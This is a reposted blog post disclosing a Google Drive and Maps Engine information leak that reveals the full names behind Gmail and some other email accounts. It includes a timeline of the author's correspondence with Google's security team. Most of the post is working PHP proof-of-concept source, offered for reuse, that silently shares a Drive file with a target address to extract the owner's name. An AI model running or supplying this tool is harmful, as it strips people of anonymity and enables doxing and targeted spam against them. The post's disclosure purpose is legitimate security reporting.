Search the Community

overview on 12/09/14 i discovered a method of revealing the full and/or display names associated with gmail accounts via maps engine, whether or not those accounts are associated with google plus, which renders said information public. i immediately submitted my findings to google’s vulnerability rewards program and began correspondence with their security team. at some point during this time, i discovered a nearly identical vulnerability in google drive, and held it as an ace up my sleeve while awaiting feedback on the maps engine leak. the google drive leak differs in a few ways from the maps engine leak, specifically in that it doesn’t deploy an email to the target – potentially informing him or her that something is afoot, and is what the live proof of concept and open source code are based upon. here it is in action with a non-g+ account: <11:35 pm est update> it has recently come to light that this not only works on google accounts, but *some* hotmails, yahoos and others as well. here’s a small excerpt of what i just sent over to google’s security team: additionally, adrian suggested the possibility of: so thanks to him and marcus from the 2600 group for helping me try to wrap my head around this, and this tweet, which poses an excellent question: as well as for providing some suggested reading material for the guys on google’s security team: </11:35 pm est update> timeline of events 12/09/14: submitted vulnerability report 12/15/14: confirmation that the issue exists 12/16/14: google employee confirms that maps engine is “too chatty” and files a bug report 01/17/15: i am informed the issue “doesn’t represent a security vulnerability” 01/20/15: google publicly announces its plans to deactivate maps engine and restricts new signups 01/20/15: it is discovered that other email services, not just gmail, are vulnerable. google security team notified via email click here for a live poc demo of the gmail full name revealer now obviously you aren’t going to reveal a target’s full name every time. there are a few factors to consider; one of which being that not everyone uses their actual full name when signing up for something on the internet, another being that gmail account’s must be 6 characters long, and i’m sure a few others i’m not accounting for. sometimes you’ll retrieve null results, but most of the time what you’ll end up with is either a user-set display name, or in most cases, the first and last name the target entered while signing up for the account as seen here: and here‘s the source code. you may quickly notice php isn’t my native programming language, so feel free to make revisions. i’d love to see them. <?php $targetEmail = 'target@gmail.com'; require_once "google-api-php-client/src/Google/Client.php"; require_once "google-api-php-client/src/Google/Service/Drive.php"; require_once "google-api-php-client/src/Google/Auth/AssertionCredentials.php"; $cScope = 'https://www.googleapis.com/auth/drive'; $cClientID = '[clientid]'; $cClientSecret = '[clientsecret]'; $cRedirectURI = '[redirecturi]'; $cAuthCode = ''; if(isset( $_GET['code'])) { $cAuthCode = $_GET['code']; } if (!($cAuthCode) == "null") { $rsParams = array( 'scope' => $cScope, 'state' => 'security_token', 'redirect_uri' => $cRedirectURI, 'response_type' => 'code', 'client_id' => $cClientID, 'access_type' => 'offline', 'approval_prompt' => 'force' ); $cOauthURL = 'https://accounts.google.com/o/oauth2/auth?' . http_build_query($rsParams); header('Location: ' . $cOauthURL); exit(); } elseif (empty($cRefreshToken)) { $authURL = "https://www.googleapis.com/oauth2/v3/token?code=" . $cAuthCode . "&client_id=" . $cClientID . "&client_secret=" . $cClientSecret . "&redirect_uri=" . $cRedirectURI . "&grant_type=authorization_code"; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $authURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ""); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $accessToken = $oToken->access_token; $refreshToken = $oToken->refresh_token; } $createURL = "https://www.googleapis.com/drive/v2/files"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $createURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"title\": \"revealyourself1\"}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $fileID = $oToken->id; $compileJSON = array("role" => "writer","type" => "user","value" => $targetEmail,"emailAddress" => $targetEmail); $jsonPostData = json_encode($compileJSON); $addUser = "https://www.googleapis.com/drive/v2/files/" . $fileID . "/permissions?sendNotificationEmails=false"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $addUser); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonPostData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); if (strpos($output,'error') !== false) { echo 'error feedback from google:<br><br>' . $output; } else { $oToken = json_decode($output); $fullName = $oToken->name; echo $targetEmail . ' is ' . $fullName; } ?> reflection this clearly isn’t, by any stretch of the imagination, the hack of the century. however, i do think that the significance of this issue, as well as my efforts to correct it, were marginalized by google. i believe many users signing up for a simple webmail account aren’t comfortable with their full names being readily accessible to the public, and ultimately my goal here is to see google make a more concentrated effort to protect their user’s privacy. i would like to see these two security vulnerabilities patched before troublemakers start running wild d0xing each other and spammers utilize them to compile name,email .csv data for highly targeted unsolicited email campaigns. i also think that these are two instances of information leaks, which google’s vulnerability rewards program classifies as being valued at $5,000 to $10,000 a pop, and i classify as information leaks based on google’s privacy policy’s indication of their user’s names being “personal information.” in any case, i won’t be working with google’s security team in the future unless they, at least in this particular instance, reevaluate what constitutes a security vulnerability. stay tuned for updates. Source: http://mcsheehan.com/?p=15